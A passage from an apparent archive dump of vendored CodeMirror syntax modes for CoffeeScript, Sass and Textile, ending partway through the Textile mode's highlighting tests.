    var delimiter_index = "[({".indexOf(current);
    if (delimiter_index !== -1) {
      indent(stream, state, "])}".slice(delimiter_index, delimiter_index+1));
    }
    if (indentKeywords.exec(current)){
      indent(stream, state);
    }
    if (current == "then"){
      dedent(stream, state);
    }


    if (style === "dedent") {
      if (dedent(stream, state)) {
        return ERRORCLASS;
      }
    }
    delimiter_index = "])}".indexOf(current);
    if (delimiter_index !== -1) {
      while (state.scope.type == "coffee" && state.scope.prev)
        state.scope = state.scope.prev;
      if (state.scope.type == current)
        state.scope = state.scope.prev;
    }
    if (state.dedent && stream.eol()) {
      if (state.scope.type == "coffee" && state.scope.prev)
        state.scope = state.scope.prev;
      state.dedent = false;
    }

    return style;
  }

  var external = {
    startState: function(basecolumn) {
      return {
        tokenize: tokenBase,
        scope: {offset:basecolumn || 0, type:"coffee", prev: null, align: false},
        prop: false,
        dedent: 0
      };
    },

    token: function(stream, state) {
      var fillAlign = state.scope.align === null && state.scope;
      if (fillAlign && stream.sol()) fillAlign.align = false;

      var style = tokenLexer(stream, state);
      if (style && style != "comment") {
        if (fillAlign) fillAlign.align = true;
        state.prop = style == "punctuation" && stream.current() == "."
      }

      return style;
    },

    indent: function(state, text) {
      if (state.tokenize != tokenBase) return 0;
      var scope = state.scope;
      var closer = text && "])}".indexOf(text.charAt(0)) > -1;
      if (closer) while (scope.type == "coffee" && scope.prev) scope = scope.prev;
      var closes = closer && scope.type === text.charAt(0);
      if (scope.align)
        return scope.alignOffset - (closes ? 1 : 0);
      else
        return (closes ? scope.prev : scope).offset;
    },

    lineComment: "#",
    fold: "indent"
  };
  return external;
});

CodeMirror.defineMIME("text/x-coffeescript", "coffeescript");
CodeMirror.defineMIME("text/coffeescript", "coffeescript");

});
PK     0w\2K'  K'  B  customizer/framework/assets/js/vendor/codemirror/mode/sass/sass.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("sass", function(config) {
  function tokenRegexp(words) {
    return new RegExp("^" + words.join("|"));
  }

  var keywords = ["true", "false", "null", "auto"];
  var keywordsRegexp = new RegExp("^" + keywords.join("|"));

  var operators = ["\\(", "\\)", "=", ">", "<", "==", ">=", "<=", "\\+", "-",
                   "\\!=", "/", "\\*", "%", "and", "or", "not", ";","\\{","\\}",":"];
  var opRegexp = tokenRegexp(operators);

  var pseudoElementsRegexp = /^::?[a-zA-Z_][\w\-]*/;

  function urlTokens(stream, state) {
    var ch = stream.peek();

    if (ch === ")") {
      stream.next();
      state.tokenizer = tokenBase;
      return "operator";
    } else if (ch === "(") {
      stream.next();
      stream.eatSpace();

      return "operator";
    } else if (ch === "'" || ch === '"') {
      state.tokenizer = buildStringTokenizer(stream.next());
      return "string";
    } else {
      state.tokenizer = buildStringTokenizer(")", false);
      return "string";
    }
  }
  function comment(indentation, multiLine) {
    return function(stream, state) {
      if (stream.sol() && stream.indentation() <= indentation) {
        state.tokenizer = tokenBase;
        return tokenBase(stream, state);
      }

      if (multiLine && stream.skipTo("*/")) {
        stream.next();
        stream.next();
        state.tokenizer = tokenBase;
      } else {
        stream.skipToEnd();
      }

      return "comment";
    };
  }

  function buildStringTokenizer(quote, greedy) {
    if (greedy == null) { greedy = true; }

    function stringTokenizer(stream, state) {
      var nextChar = stream.next();
      var peekChar = stream.peek();
      var previousChar = stream.string.charAt(stream.pos-2);

      var endingString = ((nextChar !== "\\" && peekChar === quote) || (nextChar === quote && previousChar !== "\\"));

      if (endingString) {
        if (nextChar !== quote && greedy) { stream.next(); }
        state.tokenizer = tokenBase;
        return "string";
      } else if (nextChar === "#" && peekChar === "{") {
        state.tokenizer = buildInterpolationTokenizer(stringTokenizer);
        stream.next();
        return "operator";
      } else {
        return "string";
      }
    }

    return stringTokenizer;
  }

  function buildInterpolationTokenizer(currentTokenizer) {
    return function(stream, state) {
      if (stream.peek() === "}") {
        stream.next();
        state.tokenizer = currentTokenizer;
        return "operator";
      } else {
        return tokenBase(stream, state);
      }
    };
  }

  function indent(state) {
    if (state.indentCount == 0) {
      state.indentCount++;
      var lastScopeOffset = state.scopes[0].offset;
      var currentOffset = lastScopeOffset + config.indentUnit;
      state.scopes.unshift({ offset:currentOffset });
    }
  }

  function dedent(state) {
    if (state.scopes.length == 1) return;

    state.scopes.shift();
  }

  function tokenBase(stream, state) {
    var ch = stream.peek();

    // Comment
    if (stream.match("/*")) {
      state.tokenizer = comment(stream.indentation(), true);
      return state.tokenizer(stream, state);
    }
    if (stream.match("//")) {
      state.tokenizer = comment(stream.indentation(), false);
      return state.tokenizer(stream, state);
    }

    // Interpolation
    if (stream.match("#{")) {
      state.tokenizer = buildInterpolationTokenizer(tokenBase);
      return "operator";
    }

    // Strings
    if (ch === '"' || ch === "'") {
      stream.next();
      state.tokenizer = buildStringTokenizer(ch);
      return "string";
    }

    if(!state.cursorHalf){// state.cursorHalf === 0
    // first half i.e. before : for key-value pairs
    // including selectors

      if (ch === ".") {
        stream.next();
        if (stream.match(/^[\w-]+/)) {
          indent(state);
          return "atom";
        } else if (stream.peek() === "#") {
          indent(state);
          return "atom";
        }
      }

      if (ch === "#") {
        stream.next();
        // ID selectors
        if (stream.match(/^[\w-]+/)) {
          indent(state);
          return "atom";
        }
        if (stream.peek() === "#") {
          indent(state);
          return "atom";
        }
      }

      // Variables
      if (ch === "$") {
        stream.next();
        stream.eatWhile(/[\w-]/);
        return "variable-2";
      }

      // Numbers
      if (stream.match(/^-?[0-9\.]+/))
        return "number";

      // Units
      if (stream.match(/^(px|em|in)\b/))
        return "unit";

      if (stream.match(keywordsRegexp))
        return "keyword";

      if (stream.match(/^url/) && stream.peek() === "(") {
        state.tokenizer = urlTokens;
        return "atom";
      }

      if (ch === "=") {
        // Match shortcut mixin definition
        if (stream.match(/^=[\w-]+/)) {
          indent(state);
          return "meta";
        }
      }

      if (ch === "+") {
        // Match shortcut mixin definition
        if (stream.match(/^\+[\w-]+/)){
          return "variable-3";
        }
      }

      if(ch === "@"){
        if(stream.match(/@extend/)){
          if(!stream.match(/\s*[\w]/))
            dedent(state);
        }
      }


      // Indent Directives
      if (stream.match(/^@(else if|if|media|else|for|each|while|mixin|function)/)) {
        indent(state);
        return "meta";
      }

      // Other Directives
      if (ch === "@") {
        stream.next();
        stream.eatWhile(/[\w-]/);
        return "meta";
      }

      if (stream.eatWhile(/[\w-]/)){
        if(stream.match(/ *: *[\w-\+\$#!\("']/,false)){
          return "property";
        }
        else if(stream.match(/ *:/,false)){
          indent(state);
          state.cursorHalf = 1;
          return "atom";
        }
        else if(stream.match(/ *,/,false)){
          return "atom";
        }
        else{
          indent(state);
          return "atom";
        }
      }

      if(ch === ":"){
        if (stream.match(pseudoElementsRegexp)){ // could be a pseudo-element
          return "keyword";
        }
        stream.next();
        state.cursorHalf=1;
        return "operator";
      }

    } // cursorHalf===0 ends here
    else{

      if (ch === "#") {
        stream.next();
        // Hex numbers
        if (stream.match(/[0-9a-fA-F]{6}|[0-9a-fA-F]{3}/)){
          if(!stream.peek()){
            state.cursorHalf = 0;
          }
          return "number";
        }
      }

      // Numbers
      if (stream.match(/^-?[0-9\.]+/)){
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "number";
      }

      // Units
      if (stream.match(/^(px|em|in)\b/)){
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "unit";
      }

      if (stream.match(keywordsRegexp)){
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "keyword";
      }

      if (stream.match(/^url/) && stream.peek() === "(") {
        state.tokenizer = urlTokens;
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "atom";
      }

      // Variables
      if (ch === "$") {
        stream.next();
        stream.eatWhile(/[\w-]/);
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "variable-3";
      }

      // bang character for !important, !default, etc.
      if (ch === "!") {
        stream.next();
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return stream.match(/^[\w]+/) ? "keyword": "operator";
      }

      if (stream.match(opRegexp)){
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "operator";
      }

      // attributes
      if (stream.eatWhile(/[\w-]/)) {
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "attribute";
      }

      //stream.eatSpace();
      if(!stream.peek()){
        state.cursorHalf = 0;
        return null;
      }

    } // else ends here

    if (stream.match(opRegexp))
      return "operator";

    // If we haven't returned by now, we move 1 character
    // and return an error
    stream.next();
    return null;
  }

  function tokenLexer(stream, state) {
    if (stream.sol()) state.indentCount = 0;
    var style = state.tokenizer(stream, state);
    var current = stream.current();

    if (current === "@return" || current === "}"){
      dedent(state);
    }

    if (style !== null) {
      var startOfToken = stream.pos - current.length;

      var withCurrentIndent = startOfToken + (config.indentUnit * state.indentCount);

      var newScopes = [];

      for (var i = 0; i < state.scopes.length; i++) {
        var scope = state.scopes[i];

        if (scope.offset <= withCurrentIndent)
          newScopes.push(scope);
      }

      state.scopes = newScopes;
    }


    return style;
  }

  return {
    startState: function() {
      return {
        tokenizer: tokenBase,
        scopes: [{offset: 0, type: "sass"}],
        indentCount: 0,
        cursorHalf: 0,  // cursor half tells us if cursor lies after (1)
                        // or before (0) colon (well... more or less)
        definedVars: [],
        definedMixins: []
      };
    },
    token: function(stream, state) {
      var style = tokenLexer(stream, state);

      state.lastToken = { style: style, content: stream.current() };

      return style;
    },

    indent: function(state) {
      return state.scopes[0].offset;
    }
  };
});

CodeMirror.defineMIME("text/x-sass", "sass");

});
PK     0w\9F6  6  H  customizer/framework/assets/js/vendor/codemirror/mode/textile/textile.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") { // CommonJS
    mod(require("../../lib/codemirror"));
  } else if (typeof define == "function" && define.amd) { // AMD
    define(["../../lib/codemirror"], mod);
  } else { // Plain browser env
    mod(CodeMirror);
  }
})(function(CodeMirror) {
  "use strict";

  var TOKEN_STYLES = {
    addition: "positive",
    attributes: "attribute",
    bold: "strong",
    cite: "keyword",
    code: "atom",
    definitionList: "number",
    deletion: "negative",
    div: "punctuation",
    em: "em",
    footnote: "variable",
    footCite: "qualifier",
    header: "header",
    html: "comment",
    image: "string",
    italic: "em",
    link: "link",
    linkDefinition: "link",
    list1: "variable-2",
    list2: "variable-3",
    list3: "keyword",
    notextile: "string-2",
    pre: "operator",
    p: "property",
    quote: "bracket",
    span: "quote",
    specialChar: "tag",
    strong: "strong",
    sub: "builtin",
    sup: "builtin",
    table: "variable-3",
    tableHeading: "operator"
  };

  function startNewLine(stream, state) {
    state.mode = Modes.newLayout;
    state.tableHeading = false;

    if (state.layoutType === "definitionList" && state.spanningLayout &&
        stream.match(RE("definitionListEnd"), false))
      state.spanningLayout = false;
  }

  function handlePhraseModifier(stream, state, ch) {
    if (ch === "_") {
      if (stream.eat("_"))
        return togglePhraseModifier(stream, state, "italic", /__/, 2);
      else
        return togglePhraseModifier(stream, state, "em", /_/, 1);
    }

    if (ch === "*") {
      if (stream.eat("*")) {
        return togglePhraseModifier(stream, state, "bold", /\*\*/, 2);
      }
      return togglePhraseModifier(stream, state, "strong", /\*/, 1);
    }

    if (ch === "[") {
      if (stream.match(/\d+\]/)) state.footCite = true;
      return tokenStyles(state);
    }

    if (ch === "(") {
      var spec = stream.match(/^(r|tm|c)\)/);
      if (spec)
        return tokenStylesWith(state, TOKEN_STYLES.specialChar);
    }

    if (ch === "<" && stream.match(/(\w+)[^>]+>[^<]+<\/\1>/))
      return tokenStylesWith(state, TOKEN_STYLES.html);

    if (ch === "?" && stream.eat("?"))
      return togglePhraseModifier(stream, state, "cite", /\?\?/, 2);

    if (ch === "=" && stream.eat("="))
      return togglePhraseModifier(stream, state, "notextile", /==/, 2);

    if (ch === "-" && !stream.eat("-"))
      return togglePhraseModifier(stream, state, "deletion", /-/, 1);

    if (ch === "+")
      return togglePhraseModifier(stream, state, "addition", /\+/, 1);

    if (ch === "~")
      return togglePhraseModifier(stream, state, "sub", /~/, 1);

    if (ch === "^")
      return togglePhraseModifier(stream, state, "sup", /\^/, 1);

    if (ch === "%")
      return togglePhraseModifier(stream, state, "span", /%/, 1);

    if (ch === "@")
      return togglePhraseModifier(stream, state, "code", /@/, 1);

    if (ch === "!") {
      var type = togglePhraseModifier(stream, state, "image", /(?:\([^\)]+\))?!/, 1);
      stream.match(/^:\S+/); // optional Url portion
      return type;
    }
    return tokenStyles(state);
  }

  function togglePhraseModifier(stream, state, phraseModifier, closeRE, openSize) {
    var charBefore = stream.pos > openSize ? stream.string.charAt(stream.pos - openSize - 1) : null;
    var charAfter = stream.peek();
    if (state[phraseModifier]) {
      if ((!charAfter || /\W/.test(charAfter)) && charBefore && /\S/.test(charBefore)) {
        var type = tokenStyles(state);
        state[phraseModifier] = false;
        return type;
      }
    } else if ((!charBefore || /\W/.test(charBefore)) && charAfter && /\S/.test(charAfter) &&
               stream.match(new RegExp("^.*\\S" + closeRE.source + "(?:\\W|$)"), false)) {
      state[phraseModifier] = true;
      state.mode = Modes.attributes;
    }
    return tokenStyles(state);
  };

  function tokenStyles(state) {
    var disabled = textileDisabled(state);
    if (disabled) return disabled;

    var styles = [];
    if (state.layoutType) styles.push(TOKEN_STYLES[state.layoutType]);

    styles = styles.concat(activeStyles(
      state, "addition", "bold", "cite", "code", "deletion", "em", "footCite",
      "image", "italic", "link", "span", "strong", "sub", "sup", "table", "tableHeading"));

    if (state.layoutType === "header")
      styles.push(TOKEN_STYLES.header + "-" + state.header);

    return styles.length ? styles.join(" ") : null;
  }

  function textileDisabled(state) {
    var type = state.layoutType;

    switch(type) {
    case "notextile":
    case "code":
    case "pre":
      return TOKEN_STYLES[type];
    default:
      if (state.notextile)
        return TOKEN_STYLES.notextile + (type ? (" " + TOKEN_STYLES[type]) : "");
      return null;
    }
  }

  function tokenStylesWith(state, extraStyles) {
    var disabled = textileDisabled(state);
    if (disabled) return disabled;

    var type = tokenStyles(state);
    if (extraStyles)
      return type ? (type + " " + extraStyles) : extraStyles;
    else
      return type;
  }

  function activeStyles(state) {
    var styles = [];
    for (var i = 1; i < arguments.length; ++i) {
      if (state[arguments[i]])
        styles.push(TOKEN_STYLES[arguments[i]]);
    }
    return styles;
  }

  function blankLine(state) {
    var spanningLayout = state.spanningLayout, type = state.layoutType;

    for (var key in state) if (state.hasOwnProperty(key))
      delete state[key];

    state.mode = Modes.newLayout;
    if (spanningLayout) {
      state.layoutType = type;
      state.spanningLayout = true;
    }
  }

  var REs = {
    cache: {},
    single: {
      bc: "bc",
      bq: "bq",
      definitionList: /- [^(?::=)]+:=+/,
      definitionListEnd: /.*=:\s*$/,
      div: "div",
      drawTable: /\|.*\|/,
      foot: /fn\d+/,
      header: /h[1-6]/,
      html: /\s*<(?:\/)?(\w+)(?:[^>]+)?>(?:[^<]+<\/\1>)?/,
      link: /[^"]+":\S/,
      linkDefinition: /\[[^\s\]]+\]\S+/,
      list: /(?:#+|\*+)/,
      notextile: "notextile",
      para: "p",
      pre: "pre",
      table: "table",
      tableCellAttributes: /[\/\\]\d+/,
      tableHeading: /\|_\./,
      tableText: /[^"_\*\[\(\?\+~\^%@|-]+/,
      text: /[^!"_=\*\[\(<\?\+~\^%@-]+/
    },
    attributes: {
      align: /(?:<>|<|>|=)/,
      selector: /\([^\(][^\)]+\)/,
      lang: /\[[^\[\]]+\]/,
      pad: /(?:\(+|\)+){1,2}/,
      css: /\{[^\}]+\}/
    },
    createRe: function(name) {
      switch (name) {
      case "drawTable":
        return REs.makeRe("^", REs.single.drawTable, "$");
      case "html":
        return REs.makeRe("^", REs.single.html, "(?:", REs.single.html, ")*", "$");
      case "linkDefinition":
        return REs.makeRe("^", REs.single.linkDefinition, "$");
      case "listLayout":
        return REs.makeRe("^", REs.single.list, RE("allAttributes"), "*\\s+");
      case "tableCellAttributes":
        return REs.makeRe("^", REs.choiceRe(REs.single.tableCellAttributes,
                                            RE("allAttributes")), "+\\.");
      case "type":
        return REs.makeRe("^", RE("allTypes"));
      case "typeLayout":
        return REs.makeRe("^", RE("allTypes"), RE("allAttributes"),
                          "*\\.\\.?", "(\\s+|$)");
      case "attributes":
        return REs.makeRe("^", RE("allAttributes"), "+");

      case "allTypes":
        return REs.choiceRe(REs.single.div, REs.single.foot,
                            REs.single.header, REs.single.bc, REs.single.bq,
                            REs.single.notextile, REs.single.pre, REs.single.table,
                            REs.single.para);

      case "allAttributes":
        return REs.choiceRe(REs.attributes.selector, REs.attributes.css,
                            REs.attributes.lang, REs.attributes.align, REs.attributes.pad);

      default:
        return REs.makeRe("^", REs.single[name]);
      }
    },
    makeRe: function() {
      var pattern = "";
      for (var i = 0; i < arguments.length; ++i) {
        var arg = arguments[i];
        pattern += (typeof arg === "string") ? arg : arg.source;
      }
      return new RegExp(pattern);
    },
    choiceRe: function() {
      var parts = [arguments[0]];
      for (var i = 1; i < arguments.length; ++i) {
        parts[i * 2 - 1] = "|";
        parts[i * 2] = arguments[i];
      }

      parts.unshift("(?:");
      parts.push(")");
      return REs.makeRe.apply(null, parts);
    }
  };

  function RE(name) {
    return (REs.cache[name] || (REs.cache[name] = REs.createRe(name)));
  }

  var Modes = {
    newLayout: function(stream, state) {
      if (stream.match(RE("typeLayout"), false)) {
        state.spanningLayout = false;
        return (state.mode = Modes.blockType)(stream, state);
      }
      var newMode;
      if (!textileDisabled(state)) {
        if (stream.match(RE("listLayout"), false))
          newMode = Modes.list;
        else if (stream.match(RE("drawTable"), false))
          newMode = Modes.table;
        else if (stream.match(RE("linkDefinition"), false))
          newMode = Modes.linkDefinition;
        else if (stream.match(RE("definitionList")))
          newMode = Modes.definitionList;
        else if (stream.match(RE("html"), false))
          newMode = Modes.html;
      }
      return (state.mode = (newMode || Modes.text))(stream, state);
    },

    blockType: function(stream, state) {
      var match, type;
      state.layoutType = null;

      if (match = stream.match(RE("type")))
        type = match[0];
      else
        return (state.mode = Modes.text)(stream, state);

      if (match = type.match(RE("header"))) {
        state.layoutType = "header";
        state.header = parseInt(match[0][1]);
      } else if (type.match(RE("bq"))) {
        state.layoutType = "quote";
      } else if (type.match(RE("bc"))) {
        state.layoutType = "code";
      } else if (type.match(RE("foot"))) {
        state.layoutType = "footnote";
      } else if (type.match(RE("notextile"))) {
        state.layoutType = "notextile";
      } else if (type.match(RE("pre"))) {
        state.layoutType = "pre";
      } else if (type.match(RE("div"))) {
        state.layoutType = "div";
      } else if (type.match(RE("table"))) {
        state.layoutType = "table";
      }

      state.mode = Modes.attributes;
      return tokenStyles(state);
    },

    text: function(stream, state) {
      if (stream.match(RE("text"))) return tokenStyles(state);

      var ch = stream.next();
      if (ch === '"')
        return (state.mode = Modes.link)(stream, state);
      return handlePhraseModifier(stream, state, ch);
    },

    attributes: function(stream, state) {
      state.mode = Modes.layoutLength;

      if (stream.match(RE("attributes")))
        return tokenStylesWith(state, TOKEN_STYLES.attributes);
      else
        return tokenStyles(state);
    },

    layoutLength: function(stream, state) {
      if (stream.eat(".") && stream.eat("."))
        state.spanningLayout = true;

      state.mode = Modes.text;
      return tokenStyles(state);
    },

    list: function(stream, state) {
      var match = stream.match(RE("list"));
      state.listDepth = match[0].length;
      var listMod = (state.listDepth - 1) % 3;
      if (!listMod)
        state.layoutType = "list1";
      else if (listMod === 1)
        state.layoutType = "list2";
      else
        state.layoutType = "list3";

      state.mode = Modes.attributes;
      return tokenStyles(state);
    },

    link: function(stream, state) {
      state.mode = Modes.text;
      if (stream.match(RE("link"))) {
        stream.match(/\S+/);
        return tokenStylesWith(state, TOKEN_STYLES.link);
      }
      return tokenStyles(state);
    },

    linkDefinition: function(stream, state) {
      stream.skipToEnd();
      return tokenStylesWith(state, TOKEN_STYLES.linkDefinition);
    },

    definitionList: function(stream, state) {
      stream.match(RE("definitionList"));

      state.layoutType = "definitionList";

      if (stream.match(/\s*$/))
        state.spanningLayout = true;
      else
        state.mode = Modes.attributes;

      return tokenStyles(state);
    },

    html: function(stream, state) {
      stream.skipToEnd();
      return tokenStylesWith(state, TOKEN_STYLES.html);
    },

    table: function(stream, state) {
      state.layoutType = "table";
      return (state.mode = Modes.tableCell)(stream, state);
    },

    tableCell: function(stream, state) {
      if (stream.match(RE("tableHeading")))
        state.tableHeading = true;
      else
        stream.eat("|");

      state.mode = Modes.tableCellAttributes;
      return tokenStyles(state);
    },

    tableCellAttributes: function(stream, state) {
      state.mode = Modes.tableText;

      if (stream.match(RE("tableCellAttributes")))
        return tokenStylesWith(state, TOKEN_STYLES.attributes);
      else
        return tokenStyles(state);
    },

    tableText: function(stream, state) {
      if (stream.match(RE("tableText")))
        return tokenStyles(state);

      if (stream.peek() === "|") { // end of cell
        state.mode = Modes.tableCell;
        return tokenStyles(state);
      }
      return handlePhraseModifier(stream, state, stream.next());
    }
  };

  CodeMirror.defineMode("textile", function() {
    return {
      startState: function() {
        return { mode: Modes.newLayout };
      },
      token: function(stream, state) {
        if (stream.sol()) startNewLine(stream, state);
        return state.mode(stream, state);
      },
      blankLine: blankLine
    };
  });

  CodeMirror.defineMIME("text/x-textile", "textile");
});
PK     0w\	 $  $  E  customizer/framework/assets/js/vendor/codemirror/mode/textile/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({tabSize: 4}, 'textile');
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }

  MT('simpleParagraphs',
      'Some text.',
      '',
      'Some more text.');

  /*
   * Phrase Modifiers
   */

  MT('em',
      'foo [em _bar_]');

  MT('emBoogus',
      'code_mirror');

  MT('strong',
      'foo [strong *bar*]');

  MT('strongBogus',
      '3 * 3 = 9');

  MT('italic',
      'foo [em __bar__]');

  MT('italicBogus',
      'code__mirror');

  MT('bold',
      'foo [strong **bar**]');

  MT('boldBogus',
      '3 ** 3 = 27');

  MT('simpleLink',
      '[link "CodeMirror":http://codemirror.net]');

  MT('referenceLink',
      '[link "CodeMirror":code_mirror]',
      'Normal Text.',
      '[link [[code_mirror]]http://codemirror.net]');

  MT('footCite',
      'foo bar[qualifier [[1]]]');

  MT('footCiteBogus',
      'foo bar[[1a2]]');

  MT('special-characters',
          'Registered [tag (r)], ' +
          'Trademark [tag (tm)], and ' +
          'Copyright [tag (c)] 2008');

  MT('cite',
      "A book is [keyword ??The Count of Monte Cristo??] by Dumas.");

  MT('additionAndDeletion',
      'The news networks declared [negative -Al Gore-] ' +
        '[positive +George W. Bush+] the winner in Florida.');

  MT('subAndSup',
      'f(x, n) = log [builtin ~4~] x [builtin ^n^]');

  MT('spanAndCode',
      'A [quote %span element%] and [atom @code element@]');

  MT('spanBogus',
      'Percentage 25% is not a span.');

  MT('citeBogus',
      'Question? is not a citation.');

  MT('codeBogus',
      'user@example.com');

  MT('subBogus',
      '~username');

  MT('supBogus',
      'foo ^ bar');

  MT('deletionBogus',
      '3 - 3 = 0');

  MT('additionBogus',
      '3 + 3 = 6');

  MT('image',
      'An image: [string !http://www.example.com/image.png!]');

  MT('imageWithAltText',
      'An image: [string !http://www.example.com/image.png (Alt Text)!]');

  MT('imageWithUrl',
      'An image: [string !http://www.example.com/image.png!:http://www.example.com/]');

  /*
   * Headers
   */

  MT('h1',
      '[header&header-1 h1. foo]');

  MT('h2',
      '[header&header-2 h2. foo]');

  MT('h3',
      '[header&header-3 h3. foo]');

  MT('h4',
      '[header&header-4 h4. foo]');

  MT('h5',
      '[header&header-5 h5. foo]');

  MT('h6',
      '[header&header-6 h6. foo]');

  MT('h7Bogus',
      'h7. foo');

  MT('multipleHeaders',
      '[header&header-1 h1. Heading 1]',
      '',
      'Some text.',
      '',
      '[header&header-2 h2. Heading 2]',
      '',
      'More text.');

  MT('h1inline',
      '[header&header-1 h1. foo ][header&header-1&em _bar_][header&header-1  baz]');

  /*
   * Lists
   */

  MT('ul',
      'foo',
      'bar',
      '',
      '[variable-2 * foo]',
      '[variable-2 * bar]');

  MT('ulNoBlank',
      'foo',
      'bar',
      '[variable-2 * foo]',
      '[variable-2 * bar]');

  MT('ol',
      'foo',
      'bar',
      '',
      '[variable-2 # foo]',
      '[variable-2 # bar]');

  MT('olNoBlank',
      'foo',
      'bar',
      '[variable-2 # foo]',
      '[variable-2 # bar]');

  MT('ulFormatting',
      '[variable-2 * ][variable-2&em _foo_][variable-2  bar]',
      '[variable-2 * ][variable-2&strong *][variable-2&em&strong _foo_]' +
        '[variable-2&strong *][variable-2  bar]',
      '[variable-2 * ][variable-2&strong *foo*][variable-2  bar]');

  MT('olFormatting',
      '[variable-2 # ][variable-2&em _foo_][variable-2  bar]',
      '[variable-2 # ][variable-2&strong *][variable-2&em&strong _foo_]' +
        '[variable-2&strong *][variable-2  bar]',
      '[variable-2 # ][variable-2&strong *foo*][variable-2  bar]');

  MT('ulNested',
      '[variable-2 * foo]',
      '[variable-3 ** bar]',
      '[keyword *** bar]',
      '[variable-2 **** bar]',
      '[variable-3 ** bar]');

  MT('olNested',
      '[variable-2 # foo]',
      '[variable-3 ## bar]',
      '[keyword ### bar]',
      '[variable-2 #### bar]',
      '[variable-3 ## bar]');

  MT('ulNestedWithOl',
      '[variable-2 * foo]',
      '[variable-3 ## bar]',
      '[keyword *** bar]',
      '[variable-2 #### bar]',
      '[variable-3 ** bar]');

  MT('olNestedWithUl',
      '[variable-2 # foo]',
      '[variable-3 ** bar]',
      '[keyword ### bar]',
      '[variable-2 **** bar]',
      '[variable-3 ## bar]');

  MT('definitionList',
      '[number - coffee := Hot ][number&em _and_][number  black]',
      '',
      'Normal text.');

  MT('definitionListSpan',
      '[number - coffee :=]',
      '',
      '[number Hot ][number&em _and_][number  black =:]',
      '',
      'Normal text.');

  MT('boo',
      '[number - dog := woof woof]',
      '[number - cat := meow meow]',
      '[number - whale :=]',
      '[number Whale noises.]',
      '',
      '[number Also, ][number&em _splashing_][number . =:]');

  /*
   * Attributes
   */

  MT('divWithAttribute',
      '[punctuation div][punctuation&attribute (#my-id)][punctuation . foo bar]');

  MT('divWithAttributeAnd2emRightPadding',
      '[punctuation div][punctuation&attribute (#my-id)((][punctuation . foo bar]');

  MT('divWithClassAndId',
      '[punctuation div][punctuation&attribute (my-class#my-id)][punctuation . foo bar]');

  MT('paragraphWithCss',
      'p[attribute {color:red;}]. foo bar');

  MT('paragraphNestedStyles',
      'p. [strong *foo ][strong&em _bar_][strong *]');

  MT('paragraphWithLanguage',
      'p[attribute [[fr]]]. Parlez-vous français?');

  MT('paragraphLeftAlign',
      'p[attribute <]. Left');

  MT('paragraphRightAlign',
      'p[attribute >]. Right');

  MT('paragraphRightAlign',
      'p[attribute =]. Center');

  MT('paragraphJustified',
      'p[attribute <>]. Justified');

  MT('paragraphWithLeftIndent1em',
      'p[attribute (]. Left');

  MT('paragraphWithRightIndent1em',
      'p[attribute )]. Right');

  MT('paragraphWithLeftIndent2em',
      'p[attribute ((]. Left');

  MT('paragraphWithRightIndent2em',
      'p[attribute ))]. Right');

  MT('paragraphWithLeftIndent3emRightIndent2em',
      'p[attribute ((())]. Right');

  MT('divFormatting',
      '[punctuation div. ][punctuation&strong *foo ]' +
        '[punctuation&strong&em _bar_][punctuation&strong *]');

  MT('phraseModifierAttributes',
      'p[attribute (my-class)]. This is a paragraph that has a class and' +
      ' this [em _][em&attribute (#special-phrase)][em emphasized phrase_]' +
      ' has an id.');

  MT('linkWithClass',
      '[link "(my-class). This is a link with class":http://redcloth.org]');

  /*
   * Layouts
   */

  MT('paragraphLayouts',
      'p. This is one paragraph.',
      '',
      'p. This is another.');

  MT('div',
      '[punctuation div. foo bar]');

  MT('pre',
      '[operator pre. Text]');

  MT('bq.',
      '[bracket bq. foo bar]',
      '',
      'Normal text.');

  MT('footnote',
      '[variable fn123. foo ][variable&strong *bar*]');

  /*
   * Spanning Layouts
   */

  MT('bq..ThenParagraph',
      '[bracket bq.. foo bar]',
      '',
      '[bracket More quote.]',
      'p. Normal Text');

  MT('bq..ThenH1',
      '[bracket bq.. foo bar]',
      '',
      '[bracket More quote.]',
      '[header&header-1 h1. Header Text]');

  MT('bc..ThenParagraph',
      '[atom bc.. # Some ruby code]',
      '[atom obj = {foo: :bar}]',
      '[atom puts obj]',
      '',
      '[atom obj[[:love]] = "*love*"]',
      '[atom puts obj.love.upcase]',
      '',
      'p. Normal text.');

  MT('fn1..ThenParagraph',
      '[variable fn1.. foo bar]',
      '',
      '[variable More.]',
      'p. Normal Text');

  MT('pre..ThenParagraph',
      '[operator pre.. foo bar]',
      '',
      '[operator More.]',
      'p. Normal Text');

  /*
   * Tables
   */

  MT('table',
      '[variable-3&operator |_. name |_. age|]',
      '[variable-3 |][variable-3&strong *Walter*][variable-3 |   5  |]',
      '[variable-3 |Florence|   6  |]',
      '',
      'p. Normal text.');

  MT('tableWithAttributes',
      '[variable-3&operator |_. name |_. age|]',
      '[variable-3 |][variable-3&attribute /2.][variable-3  Jim |]',
      '[variable-3 |][variable-3&attribute \\2{color: red}.][variable-3  Sam |]');

  /*
   * HTML
   */

  MT('html',
      '[comment <div id="wrapper">]',
      '[comment <section id="introduction">]',
      '',
      '[header&header-1 h1. Welcome]',
      '',
      '[variable-2 * Item one]',
      '[variable-2 * Item two]',
      '',
      '[comment <a href="http://example.com">Example</a>]',
      '',
      '[comment </section>]',
      '[comment </div>]');

  MT('inlineHtml',
